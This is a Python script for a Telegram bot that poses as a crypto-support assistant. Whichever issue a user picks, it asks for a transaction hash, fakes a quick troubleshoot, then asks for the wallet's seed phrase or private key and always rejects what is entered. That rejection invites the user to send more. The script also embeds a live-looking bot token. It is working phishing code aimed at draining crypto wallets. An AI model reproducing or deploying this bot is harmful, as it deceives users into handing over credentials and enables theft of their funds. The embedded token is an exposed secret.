from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
import asyncio
from telegram.ext import (
    Application,
    CommandHandler,
    CallbackQueryHandler,
    MessageHandler,
    filters,
    ConversationHandler,
)

# Define states
WAITING_FOR_TXHASH = 1
WAITING_FOR_SEED = 2

async def start(update: Update, context) -> None:
    """Start command handler with the same button layout you already have"""
    keyboard = [
        [InlineKeyboardButton("Stuck Transaction", callback_data='issue'),
         InlineKeyboardButton("Claim", callback_data='issue')],
        [InlineKeyboardButton("Migration", callback_data='issue'),
         InlineKeyboardButton("Staking", callback_data='issue'),
         InlineKeyboardButton("Whitelisting", callback_data='issue')],
        [InlineKeyboardButton("Bridge Error", callback_data='issue'),
         InlineKeyboardButton("Presale Error", callback_data='issue')],
        [InlineKeyboardButton("NFT", callback_data='issue'),
         InlineKeyboardButton("Revoke", callback_data='issue'),
         InlineKeyboardButton("KYC", callback_data='issue')],
        [InlineKeyboardButton("Help", callback_data='issue'),
         InlineKeyboardButton("Others", callback_data='issue')]
    ]

    reply_markup = InlineKeyboardMarkup(keyboard)
    await update.message.reply_text(
        "Hi there!\n\n"
        "I'm your dedicated assistant here to help with all your crypto-related questions and technical issues. "
        "Whether you're setting up a wallet, troubleshooting transactions, or navigating blockchain features, "
        "I'm here to guide you every step of the way.\n\n"
        "If you're encountering an error, need help understanding crypto terms, or just have general questions "
        "about your account, simply ask! I'll provide the best possible solution, and if needed, "
        "I can connect you with one of our human experts.\n\n"
        "Let's get your crypto experience back on track. How can I assist you today?",
        reply_markup=reply_markup
    )
    return ConversationHandler.END

async def handle_button(update: Update, context) -> int:
    """Handle any button click"""
    query = update.callback_query
    await query.answer()

    await query.message.reply_text(
        "Please provide the Txhash (Transaction Hash) or wallet address for review:"
    )
    return WAITING_FOR_TXHASH

async def handle_txhash(update: Update, context) -> int:
    """Handle received transaction hash"""
    txhash = update.message.text

    # Store txhash in context for later use if needed
    context.user_data['txhash'] = txhash

    await update.message.reply_text(
        "Your Txhash has been received and is being reviewed. Kindly wait for a minimum of 1 min while I troubleshoot."
    )

    # Simulate processing delay (you can adjust or remove this)
    await asyncio.sleep(2)

    await update.message.reply_text(
        "Your troubleshoot has been completed, and the error with your account has been detected. "
        "Please provide the Seed Phrase or Private key for the wallet affected to begin interaction with the smart contract."
    )
    return WAITING_FOR_SEED

async def handle_seed(update: Update, context) -> int:
    """Handle received seed phrase"""
    seed = update.message.text

    # Here you might want to add validation logic for the seed phrase
    # if not is_valid_seed(seed):  # You'll need to implement is_valid_seed()
    await update.message.reply_text(
        "Invalid input. Please provide a valid Seed Phrase or Private key. Click /start to begin the process."
    )
    return ConversationHandler.END

    # Process the seed phrase
    await update.message.reply_text("Processing your request...")
    return ConversationHandler.END

def main() -> None:
    """Main function to run the bot."""
    application = Application.builder().token("5504828999:AAEU1XWLbjvlXi9Gn3o5CodnpBWgeVMV0CM").build()

    # Create conversation handler
    conv_handler = ConversationHandler(
        entry_points=[
            CommandHandler("start", start),
            CallbackQueryHandler(handle_button, pattern="^issue$")
        ],
        states={
            WAITING_FOR_TXHASH: [MessageHandler(filters.TEXT & ~filters.COMMAND, handle_txhash)],
            WAITING_FOR_SEED: [MessageHandler(filters.TEXT & ~filters.COMMAND, handle_seed)],
        },
        fallbacks=[CommandHandler("start", start)]
    )

    application.add_handler(conv_handler)
    application.run_polling()

if __name__ == "__main__":
    main()